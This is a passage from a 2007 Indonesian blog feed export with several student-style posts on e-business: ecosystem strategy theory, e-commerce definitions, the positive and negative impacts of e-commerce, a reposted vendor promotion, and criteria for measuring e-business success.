&lt;em&gt;produktivitas&lt;/em&gt;  ekosistem yang bisa diukur dari jumlah produk-produk inovatif yang dihasilkan  ekosistem tahun demi tahun. Di sini, ekosistem software yang dikepalai Microsoft  menunjukkan produktivitas yang tinggi. Kedua, &lt;em&gt;ketangguhan&lt;/em&gt;  (&lt;em&gt;robustness&lt;/em&gt;) ekosistem, yang diukur dari ketahanan ekosistem tersebut  menghadapi krisis demi krisis dan juga dari peningkatan jumlah anggota  ekosistem. Di sini, lagi-lagi ekosistem software menunjukkan ketangguhannya  karena pertumbuhan jumlah anggota ekosistem terus berlanjut meski harus melewati  beberapa krisis ekonomi dan politik dunia. Ketiga, &lt;em&gt;seberapa jauh ekosistem  tersebut mendukung terciptanya para pemain&lt;/em&gt; &lt;em&gt;niche&lt;/em&gt; &lt;em&gt;yang  bervariatif&lt;/em&gt;. &lt;em&gt;Niche players&lt;/em&gt;, meski hanya pemain kecil, perannya  amat menentukan. Karena besarnya jumlah pemain &lt;em&gt;niche&lt;/em&gt;, secara  keseluruhan mereka mampu menghasilkan inovasi-inovasi yang banyak.  Inovasi-inovasi dari &lt;em&gt;niche players&lt;/em&gt; amat membantu menjaga kelangsungan  hidup ekosistem karena variasi inovasi-inovasi tersebut membuat ekosistem mampu  mengantisipasi perubahan lingkungan dan kebutuhan pasar. Kembali lagi ekosistem  software menunjukkan keperkasaannya. Dengan semua alasan itu, apakah Anda masih  heran mengapa Bill Gates adalah orang terkaya di dunia?&lt;/p&gt; &lt;p&gt;Tugas menjaga kesehatan ekosistem tersebut terletak pada pundak  &lt;em&gt;keystones&lt;/em&gt;. Mereka harus mampu membangun &lt;em&gt;platform&lt;/em&gt; yang baik,  yang harus terus-menerus diperbaiki sesuai dengan perkembangan lingkungan.  Mereka juga harus membantu para pemain &lt;em&gt;niche&lt;/em&gt; memanfaatkan  &lt;em&gt;platform&lt;/em&gt; tersebut, seperti eBay yang menyediakan fasilitas API  (&lt;em&gt;application programming interface&lt;/em&gt;) agar para &lt;em&gt;programmer&lt;/em&gt; bisa  mengakses database eBay untuk membuat aplikasi-aplikasi yang beragam. Selain  itu, tentu saja, mereka harus membantu para pemain &lt;em&gt;niche&lt;/em&gt; mendapatkan  keuntungan yang lumayan agar mereka tidak mati atau berpindah ke ekosistem  lain.&lt;/p&gt; &lt;p&gt;Selain &lt;em&gt;keystones&lt;/em&gt;, &lt;em&gt;landlords&lt;/em&gt;, dan &lt;em&gt;niche players&lt;/em&gt;,  masih ada lagi &lt;em&gt;dominators&lt;/em&gt;. Berbeda dengan &lt;em&gt;keystones&lt;/em&gt; yang hanya  memiliki massa kecil dengan pengaruh besar, &lt;em&gt;dominators &lt;/em&gt;ini memang  memiliki massa besar untuk mendapatkan pengaruh yang besar. Posisi  &lt;em&gt;dominator&lt;/em&gt; biasanya dicapai dengan melakukan akuisisi terhadap para  &lt;em&gt;niche players&lt;/em&gt; atau menghasilkan komplementor sendirian. Ford, IBM, DEC,  dan AT&amp;amp;T pernah menempati posisi tersebut. Akan tetapi ekosistem yang  dipimpin oleh &lt;em&gt;dominator&lt;/em&gt; umumnya tidak stabil karena para dominator  jarang bisa menghasilkan inovasi yang variatif sebanyak yang dihasilkan  ekosistem dengan beragam pemain &lt;em&gt;niche&lt;/em&gt;. Ketika para &lt;em&gt;dominator&lt;/em&gt;  tidak mampu menciptakan produk yang sesuai kebutuhan pasar, ekosistem langsung  terancam.&lt;/p&gt; &lt;p&gt;Teori ini memang masih belum sepopuler teori-teori inovasi dan strategi  lainnya. Namun saya melihat pemakaian teori jaringan dan ekosistem dalam  strategi dan inovasi di dunia bisnis akan terus mengalami peningkatan. Alasan  utamanya tentu saja karena kita akan semakin menyadari kesalingtergantungan kita  terhadap pihak-pihak lainnya dan adanya kemiripan antara organisme hidup dengan  dunia organisasi. Kita bisa melihat perusahaan-perusahaan, terutama di bidang IT  dan teknologi, yang mulai menerapkan strategi &lt;em&gt;platform&lt;/em&gt; dan  &lt;em&gt;keystone&lt;/em&gt; ini secara sistematis dan terencana. Selain eBay, Amazon dan  Google sudah berlomba-lomba merayu para pengembang perangkat lunak untuk  mengakses API dan database mereka. Apa lagi tujuannya bila bukan menjadi  &lt;em&gt;hub&lt;/em&gt; yang memimpin sebuah ekosistem yang tangguh? Kelihatannya  pertarungan di masa depan akan lebih banyak terjadi di tingkat ekosistem  daripada di tingkat perusahaan.&lt;/p&gt; &lt;p&gt;——————————————————————————————&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-2981322463071689386?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/2981322463071689386/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=2981322463071689386' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2981322463071689386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2981322463071689386'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/e-business-bagian-5.html' title='E-Business ( Bagian 5 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-2917315170075455306</id><published>2007-12-17T21:45:00.000-08:00</published><updated>2007-12-17T21:54:09.860-08:00</updated><title type='text'>e-business ( Bagian 4 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a href="http://teriyakiboz.wordpress.com/2007/12/13/definition-of-e-commerce/" rel="bookmark" tip="Taut Tetap ke Definition of e-commerce"&gt;Definition  of e-commerce&lt;/a&gt;&lt;/h2&gt;  &lt;div class="postentry"&gt; &lt;div class="snap_preview"&gt;  &lt;h2&gt;&lt;br /&gt;&lt;span style="color: steelblue;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Definition&lt;/span&gt; &lt;img src="http://students.ukdw.ac.id/%7E22033156/images/marketing.gif" align="right" /&gt;&lt;/span&gt;&lt;/h2&gt; &lt;p&gt;&lt;strong&gt;E-Commerce &lt;/strong&gt;: merupakan satu set dinamis teknologi , aplikasi  dan proses bisnis yang menghubungkan perusahaan , konsumen dan komunitas  tertentu melalui transaksi elektronik dan perdagangan barang , pelayanan dan  informasi yang dilakukan secara elektronik.&lt;/p&gt; &lt;h2&gt;&lt;span style="color: steelblue;"&gt;&lt;/span&gt;&lt;/h2&gt; &lt;p&gt;&lt;strong&gt;E-Business &lt;/strong&gt;: merupakan kegiatan bernisnis di Internet yang  tidak saja pembelian, penjualan dan jasa, tapi juga pelayanan pelanggan dan  kerja sama dengan rekan bisnis (bail individual maupun instansi).&lt;/p&gt; &lt;h2 style="color: rgb(255, 0, 0);"&gt;Positive and Negative&lt;/h2&gt; &lt;p&gt;Dampak &lt;strong&gt;Positive&lt;/strong&gt; E-Commerce dan E-Business:&lt;/p&gt; &lt;h2 align="center"&gt;&lt;img src="http://www.netsuite.com.sg/portal/sg/images/wheel_ecommerce_industry_01.jpg" align="right" /&gt;&lt;/h2&gt; &lt;p&gt;1. Revenue Stream (aliran pendapatan) baru yang mungkin lebih menjanjikan  yang tidak bisa ditemui di sistem transaksi tradisional.&lt;/p&gt; &lt;p&gt;2. Dapat meningkatkan market exposure (pangsa pasar).&lt;/p&gt; &lt;p&gt;3. Menurunkan biaya operasional(operating cost).&lt;/p&gt; &lt;p&gt;4. Melebarkan jangkauan (global reach).&lt;/p&gt; &lt;p&gt;5. Meningkatkan customer loyality.&lt;/p&gt; &lt;p&gt;6. Meningkatkan supplier management.&lt;/p&gt; &lt;p&gt;7. Memperpendek waktu produksi.&lt;/p&gt; &lt;p&gt;8. Meningkatkan value chain (mata rantai pendapatan)&lt;/p&gt; &lt;p&gt;&lt;u&gt;…………………………………………………………………………………..&lt;/u&gt;&lt;/p&gt; &lt;p&gt;Dampak &lt;strong&gt;negatif&lt;/strong&gt; E-Commerce dan E-Business :&lt;/p&gt; &lt;p&gt;1. Kehilangan segi finansial secara langsung karena kecurangan. Seorang  penipu mentransfer uang dari rekening satu ke rekening lainnya atau dia telah  mengganti semua data finansial yang ada.&lt;/p&gt; &lt;p&gt;2. Pencurian informasi rahasia yang berharga. Gangguan yang timbul bisa  menyingkap semua informasi rahasia tersebut kepada pihak-pihak yang tidak berhak  dan dapat mengakibatkan kerugian yang besar bagi si korban.&lt;/p&gt; &lt;p&gt;3. Kehilangan kesempatan bisnis karena gangguan pelayanan. Kesalahan ini  bersifat kesalahan non-teknis seperti aliran listrik tiba-tiba padam.&lt;/p&gt; &lt;p&gt;4. Penggunaan akses ke sumber oleh pihak yang tidak berhak. Misalkan seorang  hacker yang berhasil membobol sebuah sistem perbankan. Setelah itu dia  memindahkan sejumlah rekening orang lain ke rekeningnya sendiri.&lt;/p&gt; &lt;p&gt;5. Kehilangan kepercayaan dari para konsumen. Ini karena berbagai macam  faktor seperti usaha yang dilakukan dengan sengaja oleh pihak lain yang berusaha  menjatuhkan reputasi perusahaan tersebut.&lt;/p&gt; &lt;p&gt;6. Kerugian yang tidak terduga. Disebabkan oleh gangguan yang dilakukan  dengan sengaja , ketidakjujuran , praktek bisnis yang tidak benar , kesalahan  faktor manusia , kesalahan faktor manusia atau kesalahan sistem elektronik.&lt;/p&gt; &lt;h2 align="center"&gt;&lt;img src="http://ipalalloi.makassartech.com/wp-content/uploads/2007/10/ecomm.jpg" align="left" height="191" width="278" /&gt;&lt;/h2&gt; &lt;p&gt;Security Beberapa metode pengamanan data dalam transaksi E-Commerce dan  E-Bussines : Kriptografi Public Key : merupakan sistem asimetris (tidak  simetris) menggunakan beberapa key untuk pengenkripsian yaitu public key untuk  enkripsi data dan private key untuk dekripsi data. Public key disebarkan ke  seluruh dunia sementara private key tetap disimpan. Siapapun yang memiliki  public key tersebut dapat mengenkripsi informasi yang hanya dapat dibaca oleh  seseorang yang memiliki private key walaupun anda belum pernah mengenal bahkan  tidak tahu sama sekali siapa yang memiliki public key tersebut. Contoh : Elgamal  , RSA , DSA. Keuntungan : memberikan jaminan keamanan kepada siapa saja yang  melakukan pertukaran informasi meskipun diantara mereka tidak ada persetujuan  mengenai keamanan data terlebih dahulu maupun saling tidak mengenal satu sama  lain.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-2917315170075455306?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/2917315170075455306/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=2917315170075455306' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2917315170075455306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2917315170075455306'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/e-business-bagian-4.html' title='e-business ( Bagian 4 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-1119518111092962439</id><published>2007-12-17T21:33:00.000-08:00</published><updated>2007-12-17T21:40:54.080-08:00</updated><title type='text'>E-Business ( Bagian 3 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a href="http://teriyakiboz.wordpress.com/2007/12/13/e-business-provider-solution/" rel="bookmark" tip="Taut Tetap ke E-Business provider solution"&gt;E-Business  provider solution&lt;/a&gt;&lt;/h2&gt;  &lt;div style="font-family: verdana;" class="postentry"&gt; &lt;div class="snap_preview"&gt; &lt;p&gt;Selamat datang di Saltanera Teknologi. Saltanera adalah sebuah perusahaan  penyedia solusi e-business yang berada di Indonesia. Kami menyediakan solusi  bagi organisasi-organisasi yang dinamis. Solusi yang kami berikan kepada setiap  client tidak hanya berdasarkan atas sudut pandang teknologi, melainkan juga  dilihat dari sudut pandang bisnis.&lt;/p&gt; &lt;p&gt;Saltanera selalu fokus untuk mencari cara-cara baru yang dapat menggabungkan  teknologi yang ada saat ini untuk dapat meningkatkan nilai kompetitif dari  client kami. Kami akan membantu setiap client untuk menjadi lebih baik, lebih  efektif, dan lebih efisien melalui pemanfaatan teknologi.&lt;/p&gt; &lt;p&gt;&lt;span class="inline right"&gt;&lt;img class="image img_assist_custom" src="http://id.saltanera.com/sites/id.saltanera.com/files/images/dynamicflow_0.gif" height="270" width="290" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="left"&gt;Saltanera menawarkan produk dan solusi yang dapat membantu suatu  perusahaan atau organisasi untuk menjalankan bisnisnya secara lebih responsif,  dinamis, dan kompetitif. Solusi untuk enterprise yang kami sediakan adalah:&lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;a href="http://id.saltanera.com/software/dynamicflow" tip="Sistem Manajemen Proses Bisnis"&gt;Saltanera DynamicFlow&lt;/a&gt; - Solusi  komprehensif Business Process Management (BPM) untuk merancang, membangun,  menjalankan, mengontrol, dan mengoptimalkan proses bisnis yang terdapat pada  perusahaan/organisasi Anda.  &lt;/li&gt;&lt;li&gt;&lt;a href="http://id.saltanera.com/software/qualityplus" tip="Sistem Manajemen Kualitas"&gt;Saltanera QualityPlus&lt;/a&gt; - Membantu perusahaan  dalam pelaksanaan dan pemenuhan standar manajemen kualitas, yaitu ISO 9000.  &lt;/li&gt;&lt;/ol&gt; &lt;h2&gt;Layanan Saltanera&lt;/h2&gt; &lt;p&gt;Layanan-layanan yang kami sediakan ditujukan untuk mengatasi masalah klasik  dalam bisnis: bagaimana meningkatkan performansi dan revenue secara efektif dan  efisien. Layanan yang kami sediakan dapat dikategorikan dalam 3 jenis,  yaitu:&lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;a href="http://id.saltanera.com/layanan/teknologi" tip="Layanan Padat Teknologi Software"&gt;Layanan Teknologi&lt;/a&gt;  &lt;/li&gt;&lt;li&gt;&lt;a href="http://id.saltanera.com/layanan/konsultasi" tip="Layanan Konsultan Software"&gt;Layanan Konsultasi&lt;/a&gt;  &lt;/li&gt;&lt;li&gt;&lt;a href="http://id.saltanera.com/layanan/outsourcing" tip="Layanan Outsourcing Software"&gt;Layanan Outsourcing&lt;/a&gt; &lt;/li&gt;&lt;/ol&gt; &lt;h2&gt;Resource bagi Developer&lt;/h2&gt; &lt;p&gt;&lt;a href="http://id.saltanera.com/devspace" tip="Portal bagi Komunitas Developer"&gt;Saltanera DevSpace™&lt;/a&gt; menyediakan  berbagai resource bagi developer. Anda dapat memperoleh tutorial, artikel,  dokumentasi, dan lain sebagainya.&lt;/p&gt; &lt;h3&gt;Kontribusi Saltanera bagi Dunia Open Source&lt;/h3&gt; &lt;p&gt;&lt;span class="inline right"&gt;&lt;img class="image preview" src="http://id.saltanera.com/sites/id.saltanera.com/files/images/klorofil-logo_3.jpg" height="106" width="115" /&gt;&lt;/span&gt; Sebagai kontribusi kepada komunitas open source, Saltanera  meluncurkan proyek open source yang kami beri nama &lt;a href="http://www.klorofil.org/" tip="Proyek Open Source yang Diprakarsai oleh Saltanera"&gt;Klorofil Collaboration  Project&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Tujuan dari proyek open source tersebut adalah untuk membantu berbagai  organisasi, perusahaan, termasuk software vendor, dan developer yang ingin  membangun aplikasi berskala enterprise dengan menggunakan bahasa pemrograman  PHP.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-1119518111092962439?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/1119518111092962439/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=1119518111092962439' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1119518111092962439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1119518111092962439'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/e-business-bagian-3.html' title='E-Business ( Bagian 3 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-1424941475270149532</id><published>2007-12-17T21:30:00.000-08:00</published><updated>2007-12-17T21:33:31.335-08:00</updated><title type='text'>E-busines ( Bagian 2 )</title><content type='html'>&lt;h2 style="font-family: georgia;" class="posttitle"&gt;&lt;a href="http://teriyakiboz.wordpress.com/2007/12/13/e-business-dan-dunia-maya/" rel="bookmark" tip="Taut Tetap ke E-business Dan Dunia Maya"&gt;E-business Dan  Dunia Maya&lt;/a&gt;&lt;/h2&gt;  &lt;div style="font-family: verdana;" class="postentry"&gt; &lt;div class="snap_preview"&gt; &lt;p&gt;Fenomena eBusiness tidak dapat disangkal telah menjadi trend yang mewarnai  aktivitas bisnis di negara-negara maju maupun berkembang. Konsep baru yang  berkembang karena kemajuan teknologi informasi dan berbagai paradigma bisnis  baru ini dianggap sebagai kunci sukses perusahaan-perusahaan di era informasi  dan di masa-masa mendatang. Secara ringkas, Mohan Sawhney mendefinisikan  eBusiness sebagai:&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.ucm.es/info/eunivers/ebusiness7.jpg" height="283" width="270" /&gt;&lt;/p&gt; &lt;p&gt;“The use of electronic networks and associated technologies to enable,  improve, enhance, transform, or invent a business process or business system to  create superior value for current or potential customers”.&lt;/p&gt; &lt;p&gt;Secara prinsip definisi tersebut jelas memperlihatkan bagaimana teknologi  elektronik dan digital berfungsi sebagai medium tercapainya proses dan sistem  bisnis (pertukaran barang atau jasa) yang jauh lebih baik dibandingkan dengan  cara-cara konvensional, terutama dilihat dari manfaat yang dapat dirasakan oleh  mereka yang berkepentingan (stakeholders).&lt;/p&gt; &lt;p&gt;Seperti halnya pepatah yang mengatakan “banyak jalan menuju Roma”, eBusiness  merupakan salah satu jalan yang dimaksud untuk menuju kepada “the creation of  wealth” bagi sebuah perusahaan (harap diperhatikan bahwa eBusiness bukanlah  merupakan tujuan, atau “Roma” yang dimaksud dalam pepatah terkait). Dengan kata  lain, cakupan atau spektrum eBusiness dapat sangat luas wilayahnya tergantung  dari masin-masing orang melihat definisi dari kata “bisnis” itu sendiri. Untuk  dapat menangkap dimensi ruang lingkup pengertian eBusiness, cara yang kerap  dipakai adalah dengan menggunakan prinsip 4W (What, Who, Where, dan Why).&lt;/p&gt; &lt;p&gt;&lt;img src="http://blogster.com/host/images/97100512122.jpg" border="0" height="261" width="261" /&gt;&lt;/p&gt; &lt;p&gt;Mohan Sawhney et.al., 2001&lt;/p&gt; &lt;p&gt;Dimensi WHAT&lt;br /&gt;Banyak orang mempertukarkan istilah eBusiness dengan  eCommerce. Secara prinsip, pengertian eBusiness jauh lebih luas dibandingkan  dengan eCommerce; bahkan secara filosofis, eCommerce merupakan bagian dari  eBusiness. Jika eCommerce hanya memfokuskan diri pada aktivitas atau mekanisme  transaksi yang dilakukan secara elektronik/digital, eBusiness memiliki wilayah  yang jauh lebih luas, termasuk di dalamnya aktivitas relasi antara dua entiti  perusahaan, interaksi antara perusahaan dengan pelanggannya, kolaborasi antara  perusahaan dengan para mitra bisnisnya, pertukaran informasi antara perusahaan  dengan para pesaing usahanya, dan lain sebagainya. Adanya internet telah  memungkinkan perusahaan untuk menjalin komunikasi langsung maupun tidak langsung  dengan berjuta-juta bahkan bermilyar-milyar entiti (pelanggan, mitra, pesaing,  pemerintah, dsb.) yang ada di dunia maya; karena sifat komunikasi tersebut  merupakan bagian dari sebuah sistem bisnis, maka dapat dimengerti luasnya  pengertian dari eBusiness.&lt;/p&gt; &lt;p&gt;Dimensi WHO&lt;br /&gt;Siapa saja yang terlibat di dalam eBusiness? Seperti yang  tersirat dalam definisinya, semua pihak atau entiti yang melakukan interaksi  dalam sebuah sistem bisnis atau serangkaian proses bisnis (business process)  merupakan pihak-pihak yang berkepentingan dalam ruang lingkup eBusiness. Paling  tidak ada tujuh (A sampai G) klasifikasi entiti yang kerap dipergunakan dalam  mengilustrasikan eBusiness, masing-masing: Agent, Business, Consumer, Device,  Employee, Family, dan Government. Contohnya adalah sebuah aplikasi tipe  eCommerce B-to-C yang merupakan mekanisme hubungan perdagangan antara sebuah  perusahaan dengan para pelanggannya (end consumersnya); atau tipe G-to-G yang  menghubungkan dua buah negara untuk permasalahan eksport dan import; atau D-to-D  yang menghubungkan antara dua peralatan canggih teknologi informasi seperti  antara PDA dengan Handphone; atau B-to-F yang menghubungkan sebuah perusahaan  penjual barang-barang kebutuhan rumah tangga dengan berbagai keluarga; dan lain  sebagainya.&lt;/p&gt; &lt;p&gt;Dimensi WHERE&lt;br /&gt;Tidak sedikit awam yang mempertanyakan dimana sebenarnya  kegiatan bisnis dapat dilakukan dalam eBusiness. Jawabannya sangat singkat dan  mudah, yaitu dimana saja, sejauh pihak yang berkepentingan memiliki fasilitas  elektronik/digital sebagai kanal akses (access channel). Berbeda dengan bisnis  konvensional dimana transaksi biasa dilakukan secara fisik di sekitar perusahaan  yang bersangkutan, maka di dalam eBusiness, interaksi dapat dilakukan melalui  berbagai kanal akses. Di rumah, seorang Ibu dapat menggunakan telepon atau webTV  untuk berkomunikasi dengan perusahaan penjual produk atau jasa; di kantor,  seorang karyawan dapat menggunakan perlengkapan komputer atau fax; di mobil,  seorang mahasiswa dapat menggunakan handphone atau PDA-nya; di lokasi keramaian  seperti mall, toko-toko, atau pasar, masyarakat dapat memanfaatkan ATM, Warnet,  atau Kios-Kios Telekomunikasi (Wartel) untuk melakukan hal yang sama. Dengan  kata lain, istilah dimana saja untuk melakukan hubungan dengan siapa saja  bukanlah sekedar semboyan yang muluk, tetapi telah menjadi kenyataan di dalam  implementasi eBusiness.&lt;/p&gt; &lt;p&gt;Dimensi WHY&lt;br /&gt;Pertanyaan terakhir yang kerap menghantui para pelaku bisnis  tradisional adalah mengapa para praktisi bisnis di seluruh dunia sepakat untuk  mengimplementasikan eBusiness sesegera mungkin sebagai model bisnis di masa  mendatang. Penerapan konsep eBusiness secara efektif tidak saja menguntungkan  perusahaan karena banyaknya komponen biaya tinggi yanga dapat dihemat (cost  cutting), tetapi justru memberikan kesempatan perusahaan untuk meningkatkan  level pendapatannya (revenue generation) secara langsung maupun tidak langsung.  Dengan mengimplementasikan eBusiness, perusahaan dapat melihat berbagai peluang  dan celah bisnis baru yang selama ini belum pernah ditawarkan kepada masyarakat.  Disamping itu, terbukti telah banyak perusahaan yang melakukan transformasi  bisnis (perubahan bisnis inti) setelah melihat besarnya peluang bisnis baru di  dalam menerapkan konsep eBusiness. Yang tidak kalah menariknya adalah, bahwa  dengan menerapkan konsep jejaring (internetworking), sebuah perusahaan berskala  kecil dan menengah dapat dengan mudah bekerja sama dengan perusahaan raksasa  untuk menawarkan berbagai produk dan jasa kepada pelanggan. Dan tidak jarang  pula teradapat sebuah perusahaan berskala kecil (dilihat dari jumlah  karyawannya) yang pendapatannya dapat melebihi perusahaan menengah maupun besar  karena strategi efektif mereka dalam menerapkan eBusiness.&lt;/p&gt; &lt;p&gt;Jika teknologi elektronik dan digital sudah diketemukan beberapa puluh tahun  yang lalu, mengapa baru “booming” belakangan ini? Jawabannya adalah karena baru  setelah tahun 1990-an inilah teknologi internet berkembang dengan pesatnya.&lt;/p&gt; &lt;p&gt;Secara “tidak terduga”, jaringan internet yang tadinya hanya diperuntukkan  bagi lembaga-lembaga penelitian semacam perguruan tinggi ternyata berkembang dan  meluas penggunaannya di kalangan bisnis dan masyarakat. Akibatnya adalah  terhubungkannya beratus-ratus juta manusia (dan terus bertambah) ke dalam sebuah  arena jaringan yang sering dinamakan sebagai dunia maya (virtual world)  tersebut. Dikatakan sebagai dunia maya karena arena ini tidak dapat dijamah atau  diraih secara fisik karena terbentuk dari koneksi hubungan digital antar  berbagai teknologi informasi (komputer dan telekomuniasi). Disamping itu, dunia  maya tidak memiliki batas-batas geografis (borderless) seperti halnya planet  bumi yang terbagi atas beberapa negara.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-1424941475270149532?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/1424941475270149532/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=1424941475270149532' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1424941475270149532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1424941475270149532'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/e-busines-bagian-2.html' title='E-busines ( Bagian 2 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-2867016147052902373</id><published>2007-12-17T21:29:00.000-08:00</published><updated>2007-12-17T21:30:24.557-08:00</updated><title type='text'>E-business ( bagian 1 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a href="http://teriyakiboz.wordpress.com/2007/12/13/ukuran-keberhasilan-e-business/" rel="bookmark" tip="Taut Tetap ke Ukuran Keberhasilan E-business"&gt;Ukuran  Keberhasilan E-business&lt;/a&gt;&lt;/h2&gt; &lt;div class="post" id="post-24"&gt;   &lt;div class="postentry"&gt; &lt;div class="snap_preview"&gt; &lt;p&gt;&lt;img src="http://www1.istockphoto.com/file_thumbview_approve/1761826/2/istockphoto_1761826_e_business_closeup.jpg" height="255" width="309" /&gt;&lt;/p&gt; &lt;p&gt;E-Business is about 95% business and 5% technology. Secara implisit kalimat  singkat tersebut telah menjelaskan esensi dari berkembangnya konsep manajemen  baru yang dikenal dengan e-business. Kalimat singkat tersebut pada intinya  menegaskan bahwa pertimbangan utama yang harus dipergunakan oleh para praktisi  manajemen dalam menentukan apakah akan memanfaatkan tawaran-tawaran menggiurkan  yang dijanjikan oleh e-business terletak pada pertimbangan seberapa besar  potensi “bisnis” yang ditawarkan, bukan pada seberapa canggih teknologi yang  berkembang. Jika bisnis bertujuan untuk mencapai apa yang dalam teori disebut  sebagai wealth maximization (dan didalam praktek sehari-hari wealth sering  diasosiasikan dengan profit atau keuntungan usaha), maka secara jelas e-business  harus dapat paling tidak melakukan kedua hal di bawah ini:&lt;br /&gt;1. Seberapa tinggi  potensi penambahan revenue (pendapatan) perusahaan baik secara langsung maupun  tidak langsung yang didapat pada saat konsep e-business diimplementasikan;  dan&lt;br /&gt;2. Seberapa tinggi potensi pengurangan cost (biaya) yang dapat dilakukan  baik secara langsung maupun tidak langsung yang didapat pada saat konsep  e-business diterapkan.&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.bp.com/liveassets/bp_internet/aromatics_acetyls/aromatics_acetyls_english/STAGING/local_assets/images/Computer_data_180_144.jpg" height="315" width="421" /&gt;&lt;/p&gt; &lt;p&gt;Kedua hal tersebut adalah hal minimum yang harus di-deliver oleh e-business  kepada perusahaan agar dapat secara nyata meningkatkan tingkat profitabilitasnya  (sesuai dengan rumus sederhana Profit = Revenue – Cost). Dalam kenyataannya,  tentu saja tidak semua usaha dapat secara langsung dan terlihat berpengaruh  terhadap kedua variabel tersebut di atas, karena banyak dari manfaat atau value  dari e-business yang bersifat intangible dan unquantifiable. Dalam bukunya “The  Effective Measurements of IT Cost and Benefit Analysis”, Arthur Money dan  Remenyi memberikan 16 kriteria yang harus diukur di dalam perusahaan untuk  menentukan apakah konsep e-business yang diterapkan lebih baik dibandingkan  dengan kondisi pada saat e-business belum diimplementasikan (manajemen bisnis  konvensional).&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.italog.biz/images/e-business.jpg" height="344" width="414" /&gt;&lt;/p&gt; &lt;p&gt;Secara ringkas keenam-belas kriteria tersebut adalah sebagai berikut:&lt;br /&gt;1.  The system’s ability to reduce overall costs&lt;br /&gt;2. The system’s ability to  displace costs&lt;br /&gt;3. The system’s ability to avoid costs&lt;br /&gt;4. The system’s  ability to provide opportunity for revenue growth&lt;br /&gt;5. The system’s ability to  provide improved management information&lt;br /&gt;6. The system’s ability to improved  staff productivity&lt;br /&gt;7. The system’s ability to provide capacity for increased  volume&lt;br /&gt;8. The system’s ability to reduce error&lt;br /&gt;9. The system’s ability to  provide competitive advantage&lt;br /&gt;10. The system’s ability to catch up with 